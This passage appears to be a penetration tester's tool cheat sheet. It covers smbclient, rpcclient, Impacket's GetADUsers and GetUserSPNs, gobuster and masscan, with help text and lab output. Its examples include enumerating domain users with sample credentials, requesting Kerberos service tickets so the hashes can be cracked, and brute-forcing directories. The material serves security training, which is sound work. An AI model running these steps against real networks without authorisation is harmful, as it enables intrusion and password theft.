      --option=name=value                   Set smb.conf option from command line
 
Connection options:
  -O, --socket-options=SOCKETOPTIONS        socket options to use
  -n, --netbiosname=NETBIOSNAME             Primary netbios name
  -W, --workgroup=WORKGROUP                 Set the workgroup name
  -i, --scope=SCOPE                         Use this Netbios scope
 
Authentication options:
  -U, --user=USERNAME                       Set the network username
  -N, --no-pass                             Don't ask for a password
  -k, --kerberos                            Use kerberos (active directory) authentication
  -A, --authentication-file=FILE            Get the credentials from a file
  -S, --signing=on|off|required             Set the client signing state
  -P, --machine-pass                        Use stored machine account password
  -e, --encrypt                             Encrypt SMB transport
  -C, --use-ccache                          Use the winbind ccache for authentication
      --pw-nt-hash                          The supplied password is the NT hash

SMB Shell Usage:

?              allinfo        altname        archive        backup        
blocksize      cancel         case_sensitive cd             chmod         
chown          close          del            deltree        dir           
du             echo           exit           get            getfacl       
geteas         hardlink       help           history        iosize        
lcd            link           lock           lowercase      ls            
l              mask           md             mget           mkdir         
more           mput           newer          notify         open          
posix          posix_encrypt  posix_open     posix_mkdir    posix_rmdir   
posix_unlink   posix_whoami   print          prompt         put           
pwd            q              queue          quit           readlink      
rd             recurse        reget          rename         reput         
rm             rmdir          showacls       setea          setmode       
scopy          stat           symlink        tar            tarmode       
timeout        translate      unlock         volume         vuid          
wdel           logon          listconnect    showconnect    tcon          
tdis           tid            utimes         logoff         ..            
!

Examples

smbclient -L <ip> -U <user>

This command will establish an SMB session with the server and list the shares.

smbclient \\\\<ip>\\<share> [password]

This will connect to the remote share and return an interactive smb prompt.

└──╼ [★]$ smbclient \\\\10.129.152.222\\WorkShares
Enter WORKGROUP\htb-403knowledge's password:
Try "help" to get a list of possible commands.
smb: \>

Blog Posts

rpcclient

Description

rpcclient is a utility initially developed to test MS-RPC functionality in Samba itself. It has undergone several stages of development and stability. Many system administrators have now written scripts around it to manage Windows NT clients from their UNIX workstation.

Usage

Usage: rpcclient [OPTION...] <server>
Options:
  -c, --command=COMMANDS                 Execute semicolon separated cmds
  -I, --dest-ip=IP                       Specify destination IP address
  -p, --port=PORT                        Specify port number
 
Help options:
  -?, --help                             Show this help message
      --usage                            Display brief usage message
 
Common samba options:
  -d, --debuglevel=DEBUGLEVEL            Set debug level
  -s, --configfile=CONFIGFILE            Use alternate configuration file
  -l, --log-basename=LOGFILEBASE         Base name for log files
  -V, --version                          Print version
      --option=name=value                Set smb.conf option from command line
 
Connection options:
  -O, --socket-options=SOCKETOPTIONS     socket options to use
  -n, --netbiosname=NETBIOSNAME          Primary netbios name
  -W, --workgroup=WORKGROUP              Set the workgroup name
  -i, --scope=SCOPE                      Use this Netbios scope
 
Authentication options:
  -U, --user=USERNAME                    Set the network username
  -N, --no-pass                          Don't ask for a password
  -k, --kerberos                         Use kerberos (active directory) authentication
  -A, --authentication-file=FILE         Get the credentials from a file
  -S, --signing=on|off|required          Set the client signing state
  -P, --machine-pass                     Use stored machine account password
  -e, --encrypt                          Encrypt SMB transport
  -C, --use-ccache                       Use the winbind ccache for authentication
      --pw-nt-hash                       The supplied password is the NT hash

Examples

rpcclient <ip> -U <user>

This command establishes an RPC session with the server.

 enum<TabTab>

From the rpc prompt, you can tab out commands such as the enum* commands.

Blog Posts

GetADUsers.py

Description

Part of the Impacket network tool suite – enumerates all the AD users provided you have valid creds.

Usage

Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
 
usage: GetADUsers.py [-h] [-user username] [-all] [-ts] [-debug]
                     [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key]
                     [-dc-ip ip address]
                     target
 
Queries target domain for users data
 
positional arguments:
  target                domain/username[:password]
 
optional arguments:
  -h, --help            show this help message and exit
  -user username        Requests data for specific user
  -all                  Return all users, including those with no email
                        addresses and disabled accounts. When used with -user
                        it will return user's info even if the account is
                        disabled
  -ts                   Adds timestamp to every logging output
  -debug                Turn DEBUG output ON
 
authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH
  -no-pass              don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials from
                        ccache file (KRB5CCNAME) based on target parameters.
                        If valid credentials cannot be found, it will use the
                        ones specified in the command line
  -aesKey hex key       AES key to use for Kerberos Authentication (128 or 256
                        bits)
  -dc-ip ip address     IP Address of the domain controller. If ommited it use
                        the domain part (FQDN) specified in the target
                        parameter

Examples

 GetADUsers.py hiboxy.com/bgreen:Password1 -dc-ip x.x.x.x -all | tee /tmp/adusers.txt

This command will enumerate all users in the hiboxy domain using the creds for bgreen.

Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
 
[*] Querying 10.130.10.4 for information about domain.
Name Email PasswordLastSet LastLogon
-------------------- ------------------------------ ------------------- -------------------
Administrator 2022-03-14 14:24:35.183246 2022-03-14 14:24:39.485072
Guest <never> <never>
SROCAdmin 2022-03-14 14:24:43.164622 <never>
krbtgt 2022-03-14 14:31:12.537996 <never>
SVC_SQLService SVC_SQLService@hiboxy.com 2022-03-14 14:32:16.637564 <never>
SVC_SQLService2 2022-03-14 14:32:16.778834 <never>
krosterman 2022-03-14 14:32:16.841622 <never>
smorgan smorgan@hiboxy.com 2022-03-14 14:32:16.904391 <never>
tduncan tduncan@hiboxy.com 2022-03-14 14:32:16.951489 2022-03-14 14:36:23.957238
antivirus 2022-03-14 14:32:17.861892 <never>
aallen 2022-03-14 14:32:17.940372 <never>
aalvarado 2022-03-14 14:32:18.018868 <never>
abaird 2022-03-14 14:32:18.097351 <never>
...
wortega 2022-03-14 14:32:58.110061 <never>
wrobinson 2022-03-14 14:32:58.188474 <never>
wstanley 2022-03-14 14:32:58.251129 <never>
wwade 2022-03-14 14:32:58.329487 <never>
wwilson 2022-03-14 14:32:58.392172 <never>
zclayton 2022-03-14 14:32:58.470533 <never>
$VJ1000-O3GM981V807M <never> <never>
SM_aaa538fcd9a742de9 SystemMailbox{1f05a927-b919-458d-bebd-92c52421d9be}@hiboxy.com <never> <never>
SM_92d45bee00ee49769 SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@hiboxy.com <never> <never>
SM_1f4403d8339543fcb SystemMailbox{e0dc1c29-89c3-4034-b678-e6c29d823ed9}@hiboxy.com <never> <never>
SM_54e3d4f14fe84c84a DiscoverySearchMailbox{D919BA05-46A6-415f-80AD-7E09334BB852}@hiboxy.com <never> <never>
SM_035c725ae06c4cf38 Migration.8f3e7716-2011-43e4-96b1-aba62d229136@hiboxy.com <never> <never>
SM_fbadcdb332e74005a FederatedEmail.4c1f4d8b-8179-4148-93bf-00a95fa1e042@hiboxy.com <never> <never>
SM_f804d6dd51144fc5a SystemMailbox{D0E409A0-AF9B-4720-92FE-AAC869B0D201}@hiboxy.com <never> <never>
SM_ea5a510e6bfd4c758 SystemMailbox{2CE34405-31BE-455D-89D7-A7C7DA7A0DAA}@hiboxy.com <never> <never>
SM_76b5d049aad445e4a SystemMailbox{8cc370d3-822a-4ab8-a926-bb94bd0641a9}@hiboxy.com <never> <never>
HealthMailboxf81d76d HealthMailboxf81d76db0dbd441ba35044828baa42e7@hiboxy.com 2022-03-14 15:16:49.293057 2022-03-15 23:54:55.305462
HealthMailboxd31f130 HealthMailboxd31f130f2c6748c0a6f57fcfb3beec46@hiboxy.com 2022-03-14 15:16:54.265986 2022-03-15 21:43:19.596318

Blog Posts

GetUserSPNs.py

Description

Part of the Impacket network tool suite – queries target domain for SPNs that are running under a user account (requires valid domain credentials).

Usage

Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
 
usage: GetUserSPNs.py [-h] [-target-domain TARGET_DOMAIN]
                      [-usersfile USERSFILE] [-request]
                      [-request-user username] [-save]
                      [-outputfile OUTPUTFILE] [-debug]
                      [-hashes LMHASH:NTHASH] [-no-pass] [-k]
                      [-aesKey hex key] [-dc-ip ip address]
                      target
 
Queries target domain for SPNs that are running under a user account
 
positional arguments:
  target                domain/username[:password]
 
optional arguments:
  -h, --help            show this help message and exit
  -target-domain TARGET_DOMAIN
                        Domain to query/request if different than the domain
                        of the user. Allows for Kerberoasting across trusts.
  -usersfile USERSFILE  File with user per line to test
  -request              Requests TGS for users and output them in JtR/hashcat
                        format (default False)
  -request-user username
                        Requests TGS for the SPN associated to the user
                        specified (just the username, no domain needed)
  -save                 Saves TGS requested to disk. Format is
                        <username>.ccache. Auto selects -request
  -outputfile OUTPUTFILE
                        Output filename to write ciphers in JtR/hashcat format
  -debug                Turn DEBUG output ON
 
authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH
  -no-pass              don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials from
                        ccache file (KRB5CCNAME) based on target parameters.
                        If valid credentials cannot be found, it will use the
                        ones specified in the command line
  -aesKey hex key       AES key to use for Kerberos Authentication (128 or 256
                        bits)
  -dc-ip ip address     IP Address of the domain controller. If ommited it use
                        the domain part (FQDN) specified in the target
                        parameter. Ignoredif -target-domain is specified.

Examples

 GetUserSPNs.py hiboxy.com/bgreen:Password1 -request -dc-ip 10.130.10.4 | tee /tmp/spns.output

This will return SPNs for accounts that might have elevated privileges. Grep out the hashes into a separate file and crack them with hashcat.

Blog Posts

gobuster

Description

Gobuster is a tool used to brute-force:

  • URIs (directories and files) in web sites.
  • DNS subdomains (with wildcard support).
  • Virtual Host names on target web servers.
  • Open Amazon S3 buckets
PlatformLinux
AuthorOJ
LicenseFree
URLhttps://github.com/OJ/gobuster

Usage

Usage:
  gobuster [command]
 
Available Commands:
  dir         Uses directory/file enumeration mode
  dns         Uses DNS subdomain enumeration mode
  fuzz        Uses fuzzing mode
  help        Help about any command
  s3          Uses aws bucket enumeration mode
  version     shows the current version
  vhost       Uses VHOST enumeration mode
 
Flags:
      --delay duration    Time each thread waits between requests (e.g. 1500ms)
  -h, --help              help for gobuster
      --no-error          Don't display errors
  -z, --no-progress       Don't display progress
  -o, --output string     Output file to write results to (defaults to stdout)
  -p, --pattern string    File containing replacement patterns
  -q, --quiet             Don't print the banner and other noise
  -t, --threads int       Number of concurrent threads (default 10)
  -v, --verbose           Verbose output (errors)
  -w, --wordlist string   Path to the wordlist

Examples

gobuster dir -u x.x.x.x -w /usr/share/dirb/wordlists/common.txt -x .php

This is how you brute force enumerate a website using a wordlist and specific file extensions to search for.

└──╼ [★]$ gobuster dir -u 10.129.152.242 -w /usr/share/dirb/wordlists/common.txt -x .php
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.152.242
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/dirb/wordlists/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
2022/03/20 21:03:35 Starting gobuster in directory enumeration mode
===============================================================
/.hta.php             (Status: 403) [Size: 279]
/.hta                 (Status: 403) [Size: 279]
/.htaccess            (Status: 403) [Size: 279]
/.htpasswd            (Status: 403) [Size: 279]
/.htaccess.php        (Status: 403) [Size: 279]
/.htpasswd.php        (Status: 403) [Size: 279]
/assets               (Status: 301) [Size: 317] [--> http://10.129.152.242/assets/]
/config.php           (Status: 200) [Size: 0]                                     
/css                  (Status: 301) [Size: 314] [--> http://10.129.152.242/css/]  
/dashboard            (Status: 301) [Size: 320] [--> http://10.129.152.242/dashboard/]
/fonts                (Status: 301) [Size: 316] [--> http://10.129.152.242/fonts/]   
/index.html           (Status: 200) [Size: 58565]                                    
/js                   (Status: 301) [Size: 313] [--> http://10.129.152.242/js/]      
/login.php            (Status: 200) [Size: 1577]                                     
/logout.php           (Status: 302) [Size: 0] [--> login.php]                        
/server-status        (Status: 403) [Size: 279]                                      
                                                                                       
===============================================================
2022/03/20 21:03:38 Finished
===============================================================

Blog Posts

masscan

Description

masscan is an Internet-scale port scanner, useful for large scale surveys of the Internet, or of internal networks. While the default transmit rate is only 100 packets/second, it can optional go as fast as 25 million
packets/second, a rate sufficient to scan the Internet in 3 minutes for one port.

PlatformLinux
AuthorRobert Graham
LicenseFree
URLhttps://github.com/robertdavidgraham/masscan

Usage

OPTIONS
       ·   <ip/range>: anything on the command-line not prefixed with a ´-´ is assumed to be an IP address or range. There are three valid formats. The first is a single IPv4 address like "192.168.0.1". The second is a  range
           like  "10.0.0.1-10.0.0.100". The third is a CIDR address, like "0.0.0.0/0". At least one target must be specified. Multiple targets can be specified. This can be specified as multiple options separated by space, or
           can be separated by a comma as a single option, such as 10.0.0.0/8,192.168.0.1.
 
       ·   --range <ip/range>: the same as target range spec described above, except as a named parameter instead of an unnamed one.
 
       ·   -p <ports, --ports <ports>: specifies the port(s) to be scanned. A single port can be specified, like -p80. A range of ports can be specified,  like  -p  20-25.  A  list  of  ports/ranges  can  be  specified,  like
           -p80,20-25. UDP ports can also be specified, like --ports U:161,U:1024-1100.
 
       ·   --banners: specifies that banners should be grabbed, like HTTP server versions, HTML title fields, and so forth. Only a few protocols are supported.
 
       ·   --rate  <packets-per-second>:  specifies  the  desired  rate for transmitting packets. This can be very small numbers, like 0.1 for transmitting packets at rates of one every 10 seconds, for very large numbers like
           10000000, which attempts to transmit at 10 million packets/second. In my experience, Windows and can do 250 thousand packets per second, and latest versions of Linux can do  2.5  million  packets  per  second.  The
           PF_RING driver is needed to get to 25 million packets/second.
 
       ·   -c <filename>, --conf <filename>: reads in a configuration file. The format of the configuration file is described below.
 
       ·   --resume <filename>: the same as --conf, except that a few options are automatically set, such as --append-output. The format of the configuration file is described below.
 
       ·   --echo: don´t run, but instead dump the current configuration to a file. This file can then be used with the -c option. The format of this output is described below under ´CONFIGURATION FILE´.
 
       ·   -e <ifname>, --adapter <ifname>: use the named raw network interface, such as "eth0" or "dna1". If not specified, the first network interface found with a default gateway will be used.
 
       ·   --adapter-ip  <ip-address>:  send  packets  using  this IP address. If not specified, then the first IP address bound to the network interface will be used. Instead of a single IP address, a range may be specified.
           NOTE: The size of the range must be an even power of 2, such as 1, 2, 4, 8, 16, 1024 etc. addresses.
 
       ·   --adapter-port <port>: send packets using this port number as the source. If not specified, a random port will be chosen in the range 40000 through 60000. This port should be filtered by  the  host  firewall  (like
           iptables) to prevent the host network stack from interfering with arriving packets. Instead of a single port, a range can be specified, like 40000-40003. NOTE: The size of the range must be an even power of 2, such
           as the example above that has a total of 4 addresses.
 
       ·   --adapter-mac <mac-address>: send packets using this as the source MAC address. If not specified, then the first MAC address bound to the network interface will be used.
 
       ·   --router-mac <mac address>: send packets to this MAC address as the destination. If not specified, then the gateway address of the network interface will be ARPed.
 
       ·   --ping: indicates that the scan should include an ICMP echo request. This may be included with TCP and UDP scanning.
 
       ·   --exclude <ip/range>: blacklist an IP address or range, preventing it from being scanned. This overrides any target specification, guaranteeing that this address/range won´t be scanned. This has the same format  as
           the normal target specification.
 
       ·   --excludefile <filename>: reads in a list of exclude ranges, in the same target format described above. These ranges override any targets, preventing them from being scanned.
 
       ·   --append-output: causes output to append to file, rather than overwriting the file.
 
       ·   --iflist: list the available network interfaces, and then exits.
 
       ·   --retries: the number of retries to send, at 1 second intervals. Note that since this scanner is stateless, retries are sent regardless if replies have already been received.
 
       ·   --nmap: print help aobut nmap-compatibility alternatives for these options.
 
       ·   --pcap-payloads:  read  packets from a libpcap file containing packets and extract the UDP payloads, and associate those payloads with the destination port. These payloads will then be used when sending UDP packets
           with the matching destination port. Only one payload will be remembered per port. Similar to --nmap-payloads.
 
       ·   --nmap-payloads <filename>: read in a file in the same format as the nmap file nmap-payloads. This contains UDP payload, so that we can send useful UDP packets instead of empty ones. Similar to --pcap-payloads.
 
       ·   --http-user-agent <user-agent>: replaces the existing user-agent field with the indicated value when doing HTTP requests.
 
       ·   --open-only: report only open ports, not closed ports.
 
       ·   --pcap <filename>: saves received packets (but not transmitted packets) to the libpcap-format file.
 
       ·   --packet-trace: prints a summary of those packets sent and received. This is useful at low rates, like a few packets per second, but will overwhelm the terminal at high rates.
 
       ·   --pfring: force the use of the PF_RING driver. The program will exit if PF_RING DNA drvers are not available.
 
       ·   --resume-index: the point in the scan at when it was paused.
 
       ·   --resume-count: the maximum number of probes to send before exiting. This is useful with the --resume-index to chop up a scan and split it among multiple instances, though the --shards option might be better.
 
       ·   --shards <x>/<y>: splits the scan among instances. x is the id for this scan, while y is the total number of instances. For example, --shards 1/2 tells an instance to send every other packet, starting with index 0.
           Likewise, --shards 2/2 sends every other packet, but starting with index 1, so that it doesn´t overlap with the first example.
 
       ·   --rotate  <time>:  rotates  the  output file, renaming it with the current timestamp, moving it to a separate directory. The time is specified in number of seconds, like "3600" for an hour. Or, units of time can be
           specified, such as "hourly", or "6hours", or "10min". Times are aligned on an even boundary, so if "daily" is specified, then the file will be rotated every day at midnight.
 
       ·   --rotate-offset <time>: an offset in the time. This is to accommodate timezones.
 
       ·   --rotate-dir <directory>: when rotating the file, this specifies which directory to move the file to. A useful directory is /var/log/masscan.
 
       ·   --seed <integer>: an integer that seeds the random number generator. Using a different seed will cause packets to be sent in a different random order. Instead of an integer, the string time can be specified,  which
           seeds using the local timestamp, automatically generating a differnet random order of scans. If no seed specified, time is the default.
 
       ·   --regress: run a regression test, returns ´0´ on success and ´1´ on failure.
 
       ·   --ttl <num>: specifies the TTL of outgoing packets, defaults to 255.
 
       ·   --wait <seconds>: specifies the number of seconds after transmit is done to wait for receiving packets before exiting the program. The default is 10 seconds. The string forever can be specified to never terminate.
 
       ·   --offline:  don´t actually transmit packets. This is useful with a low rate and --packet-trace to look at what packets might´ve been transmitted. Or, it´s useful with --rate 100000000 in order to benchmark how fast
           transmit would work (assuming a zero-overhead driver). PF_RING is about 20% slower than the benchmark result from offline mode.
 
       ·   -sL: this doesn´t do a scan, but instead creates a list of random addresses. This is useful for importing into other tools. The options --shard, --resume-index, and --resume-count can be useful with this feature.
 
       ·   --interactive: show the results in realtime on the console. It has no effect if used with --output-format or --output-filename.
 
       ·   --output-format <fmt>: indicates the format of the output file, which can be xml, binary, grepable, list, or JSON. The option --output-filename must be specified.
 
       ·   --output-filename <filename>: the file which to save results to. If the parameter --output-format is not specified, then the default of xml will be used.
 
       ·   -oB <filename>: sets the output format to binary and saves the output in the given filename. This is equivelent to using the --output-format and --output-filename parameters. The option --readscan can then be  used
           to read the binary file. Binary files are mush smaller than their XML equivelents, but require a separate step to convert back into XML or another readable format.
 
       ·   -oX <filename>: sets the output format to XML and saves the output in the given filename. This is equivelent to using the --output-format xml and --output-filename parameters.
 
       ·   -oG <filename>: sets the output format to grepable and saves the output in the given filename. This is equivelent to using the --output-format grepable and --output-filename parameters.
 
       ·   -oJ <filename>: sets the output format to JSON and saves the output in the given filename. This is equivelent to using the --output-format json and --output-filename parameters.
 
       ·   -oL <filename>: sets the output format to a simple list format and saves the output in the given filename. This is equivelent to using the --output-format list and --output-filename parameters.
 
       ·   --readscan  <binary-files>: reads the files created by the -oB option from a scan, then outputs them in one of the other formats, depending on command-line parameters. In other words, it can take the binary version
           of the output and convert it to an XML or JSON format.

Examples

masscan -p22,445,3389 –rate 15000 -oB myscan.mass x.x.x.x/8

This will check the specified ports in the /8 network at a rate of 15,000 packets per minute. This is probably the max rate you should ever run masscan. The -oB option will save the output in masscans binary format (to save space), and the output file can be converted to other formats as needed.

sec@slingshot:~$ sudo masscan --ports 0-65535 --rate 15000 --src-port=55555 -oB /tmp/local.masscan 127.0.0.1
 
Starting masscan 1.0.3 (http://bit.ly/14GZzcT) at 2022-03-15 15:21:58 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65536 ports/host]
masscan –readscan myscan.mass -oX myscan.xml

This will read a previous scan that was saved in binary format and save a copy as XML. The following is the contents of an example XML format scan.

<?xml version="1.0"?>
<!-- masscan v1.0 scan -->
<?xml-stylesheet href="" type="text/xsl"?>
<nmaprun scanner="masscan" start="1647358016" version="1.0-BETA"  xmloutputversion="1.03">
<scaninfo type="syn" protocol="tcp" />
<host endtime="1640365642"><address addr="10.130.10.4" addrtype="ipv4"/><ports><port protocol="tcp" portid="3268"><state state="open" reason="syn-ack" reason_ttl="128"/></port></ports></host>
<host endtime="1640365644"><address addr="10.130.10.4" addrtype="ipv4"/><ports><port protocol="tcp" portid="49699"><state state="open" reason="syn-ack" reason_ttl="128"/></port></ports></host>
<host endtime="1640365672"><address addr="10.130.10.6" addrtype="ipv4"/><ports><port protocol="tcp" portid="5986"><state state="open" reason="syn-ack" reason_ttl="128"/></port></ports></host>
<host endtime="1640365691"><address addr="10.130.10.4" addrtype="ipv4"/><ports><port protocol="tcp" portid="49667"><state state="open" reason="syn-ack" reason_ttl="128"/></port></ports></host>
<host endtime="1640365693"><address addr="10.130.10.21" addrtype="ipv4"/><ports><port protocol="tcp" portid="445"><state state="open" reason="syn-ack" reason_ttl="128"/></port></ports></host>
<host endtime="1640365693"><address addr="10.130.10.25" addrtype="ipv4"/><ports><port protocol="tcp" portid="6402"><state state="open" reason="syn-ack" reason_ttl="128"/></port></ports></host>
<host endtime="1640365698"><address addr="10.130.10.44" addrtype="ipv4"/><ports><port protocol="tcp" portid="5986"><state state="open" reason="syn-ack" reason_ttl="128"/></port></ports></host>
<host endtime="1640365699"><address addr="10.130.10.21" addrtype="ipv4"/><ports><port protocol="tcp" portid="5986"><state state="open" reason="syn-ack" reason_ttl="128"/></port></ports></host>
<host endtime="1640365723"><address addr="10.130.10.44" addrtype="ipv4"/><ports><port protocol="tcp" portid="445"><state state="open" reason="syn-ack" reason_ttl="128"/></port></ports></host>
<host endtime="1640365735"><address addr="10.130.10.6" addrtype="ipv4"/><ports><port protocol="tcp" portid="445"><state state="open" reason="syn-ack" reason_ttl="128"/></port></ports></host>
<host endtime="1640365743"><address addr="10.130.10.4" addrtype="ipv4"/><ports><port protocol="tcp" portid="5986"><state state="open" reason="syn-ack" reason_ttl="128"/></port></ports></host>
<host endtime="1640365746"><address addr="10.130.10.25" addrtype="ipv4"/><ports><port protocol="tcp" portid="477"><state state="open" reason="syn-ack" reason_ttl="128"/></port></ports></host>
<host endtime="1640365748"><address addr="10.130.10.25" addrtype="ipv4"/><ports><port protocol="tcp" portid="477"><state state="open" reason="response" reason_ttl="128" /><service name="ftp" banner="220 mail01.hiboxy.com MICROSOFT ESMTP MAIL SERVICE READY AT Fri, 24 Dec 2021 17:09:06 +0000\x0a503 5.5.1 Bad sequence of commands"></service></port></ports></host>
...
<host endtime="1640366213"><address addr="10.130.10.25" addrtype="ipv4"/><ports><port protocol="tcp" portid="587"><state state="open" reason="response" reason_ttl="128" /><service name="smtp" banner="220 mail01.hiboxy.com Microsoft ESMTP MAIL Service ready at Fri, 24 Dec 2021 17:16:49 +0000\x0a250-mail01.hiboxy.com Hello [10.130.10.99]\x0a250-SIZE 37748736\x0a250-PIPELINING\x0a250-DSN\x0a250-ENHANCEDSTATUSCODES\x0a250-STARTTLS\x0a250-AUTH GSSAPI NTLM\x0a250-8BITMIME\x0a250-BINARYMIME\x0a250-CHUNKING\x0a250 SMTPUTF8\x0a220 2.0.0 SMTP server ready"></service></port></ports></host>
<host endtime="1640366218"><address addr="10.130.10.4" addrtype="ipv4"/><ports><port protocol="tcp" portid="49674"><state state="open" reason="syn-ack" reason_ttl="128"/></port></ports></host>
<host endtime="1640366220"><address addr="10.130.10.25" addrtype="ipv4"/><ports><port protocol="tcp" portid="6744"><state state="open" reason="syn-ack" reason_ttl="128"/></port></ports></host>
<host endtime="1640366222"><address addr="10.130.10.44" addrtype="ipv4"/><ports><port protocol="tcp" portid="135"><state state="open" reason="syn-ack" reason_ttl="128"/></port></ports></host>
<host endtime="1640366229"><address addr="10.130.10.10" addrtype="ipv4"/><ports><port protocol="tcp" portid="23"><state state="open" reason="syn-ack" reason_ttl="64"/></port></ports></host>
<host endtime="1640366230"><address addr="10.130.10.10" addrtype="ipv4"/><ports><port protocol="tcp" portid="23"><state state="open" reason="response" reason_ttl="64" /><service name="ssh" banner="SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.3"></service></port></ports></host>
<host endtime="1640366233"><address addr="10.130.10.25" addrtype="ipv4"/><ports><port protocol="tcp" portid="135"><state state="open" reason="syn-ack" reason_ttl="128"/></port></ports></host>
<host endtime="1640366235"><address addr="10.130.10.25" addrtype="ipv4"/><ports><port protocol="tcp" portid="25"><state state="open" reason="syn-ack" reason_ttl="128"/></port></ports></host>
<host endtime="1640366236"><address addr="10.130.10.33" addrtype="ipv4"/><ports><port protocol="tcp" portid="5985"><state state="open" reason="syn-ack" reason_ttl="128"/></port></ports></host>
<host endtime="1640366237"><address addr="10.130.10.25" addrtype="ipv4"/><ports><port protocol="tcp" portid="475"><state state="open" reason="syn-ack" reason_ttl="128"/></port></ports></host>
<host endtime="1640366239"><address addr="10.130.10.25" addrtype="ipv4"/><ports><port protocol="tcp" portid="475"><state state="open" reason="response" reason_ttl="128" /><service name="ftp" banner="220 mail01.hiboxy.com MICROSOFT ESMTP MAIL SERVICE READY AT Fri, 24 Dec 2021 17:17:17 +0000\x0a503 5.5.1 Bad sequence of commands"></service></port></ports></host>
<host endtime="1640366239"><address addr="10.130.10.25" addrtype="ipv4"/><ports><port protocol="tcp" portid="25"><state state="open" reason="response" reason_ttl="128" /><service name="smtp" banner="220 mail01.hiboxy.com Microsoft ESMTP MAIL Service ready at Fri, 24 Dec 2021 17:17:15 +0000\x0a250-mail01.hiboxy.com Hello [10.130.10.99]\x0a250-SIZE 37748736\x0a250-PIPELINING\x0a250-DSN\x0a250-ENHANCEDSTATUSCODES\x0a250-STARTTLS\x0a250-X-ANONYMOUSTLS\x0a250-AUTH NTLM\x0a250-X-EXPS GSSAPI NTLM\x0a250-8BITMIME\x0a250-BINARYMIME\x0a250-CHUNKING\x0a250-SMTPUTF8\x0a250 XRDST\x0a220 2.0.0 SMTP server ready"></service></port></ports></host>
<host endtime="1640366241"><address addr="10.130.10.25" addrtype="ipv4"/><ports><port protocol="tcp" portid="139"><state state="open" reason="syn-ack" reason_ttl="128"/></port></ports></host>
<host endtime="1640366245"><address addr="10.130.10.44" addrtype="ipv4"/><ports><port protocol="tcp" portid="139"><state state="open" reason="syn-ack" reason_ttl="128"/></port></ports></host>
<host endtime="1640366250"><address addr="10.130.10.4" addrtype="ipv4"/><ports><port protocol="tcp" portid="49674"><state state="open" reason="response" reason_ttl="128" /><service name="unknown" banner="ncacn_http/1.0"></service></port></ports></host>
<host endtime="1640366256"><address addr="10.130.10.25" addrtype="ipv4"/><ports><port protocol="tcp" portid="717"><state state="open" reason="syn-ack" reason_ttl="128"/></port></ports></host>
<host endtime="1640366258"><address addr="10.130.10.25" addrtype="ipv4"/><ports><port protocol="tcp" portid="717"><state state="open" reason="response" reason_ttl="128" /><service name="ftp" banner="220 mail01.hiboxy.com Microsoft ESMTP MAIL Service ready at Fri, 24 Dec 2021 17:17:36 +0000\x0a503 5.5.2 Send hello first"></service></port></ports></host>
<host endtime="1640366264"><address addr="10.130.10.25" addrtype="ipv4"/><ports><port protocol="tcp" portid="445"><state state="open" reason="syn-ack" reason_ttl="128"/></port></ports></host>
<host endtime="1640366277"><address addr="10.130.10.25" addrtype="ipv4"/><ports><port protocol="tcp" portid="2105"><state state="open" reason="syn-ack" reason_ttl="128"/></port></ports></host>
<host endtime="1640366278"><address addr="10.130.10.22" addrtype="ipv4"/><ports><port protocol="tcp" portid="80"><state state="open" reason="syn-ack" reason_ttl="64"/></port></ports></host>
<host endtime="1640366279"><address addr="10.130.10.4" addrtype="ipv4"/><ports><port protocol="tcp" portid="49677"><state state="open" reason="syn-ack" reason_ttl="128"/></port></ports></host>
<host endtime="1640366281"><address addr="10.130.10.25" addrtype="ipv4"/><ports><port protocol="tcp" portid="80"><state state="open" reason="syn-ack" reason_ttl="128"/></port></ports></host>
<host endtime="1640366289"><address addr="10.130.10.11" addrtype="ipv4"/><ports><port protocol="tcp" portid="80"><state state="open" reason="syn-ack" reason_ttl="64"/></port></ports></host>
<host endtime="1640366290"><address addr="10.130.10.4" addrtype="ipv4"/><ports><port protocol="tcp" portid="464"><state state="open" reason="syn-ack" reason_ttl="128"/></port></ports></host>
<host endtime="1640366303"><address addr="10.130.10.25" addrtype="ipv4"/><ports><port protocol="tcp" portid="6768"><state state="open" reason="syn-ack" reason_ttl="128"/></port></ports></host>
<host endtime="1640366306"><address addr="10.130.10.25" addrtype="ipv4"/><ports><port protocol="tcp" portid="5985"><state state="open" reason="syn-ack" reason_ttl="128"/></port></ports></host>
<host endtime="1640366308"><address addr="10.130.10.45" addrtype="ipv4"/><ports><port protocol="tcp" portid="445"><state state="open" reason="syn-ack" reason_ttl="128"/></port></ports></host>
<host endtime="1640366311"><address addr="10.130.10.22" addrtype="ipv4"/><ports><port protocol="tcp" portid="80"><state state="open" reason="response" reason_ttl="64" /><service name="title" banner="Welcome to nginx!"></service></port></ports></host>
<host endtime="1640366311"><address addr="10.130.10.22" addrtype="ipv4"/><ports><port protocol="tcp" portid="80"><state state="open" reason="response" reason_ttl="64" /><service name="http" banner="HTTP/1.1 200 OK\x0d\x0aServer: nginx/1.18.0 (Ubuntu)\x0d\x0aDate: Fri, 24 Dec 2021 17:18:00 GMT\x0d\x0aContent-Type: text/html\x0d\x0aContent-Length: 612\x0d\x0aLast-Modified: Fri, 24 Dec 2021 00:56:16 GMT\x0d\x0aConnection: close\x0d\x0aETag: \x2261c51ab0-264\x22\x0d\x0aAccept-Ranges: bytes\x0d\x0a\x0d"></service></port></ports></host>
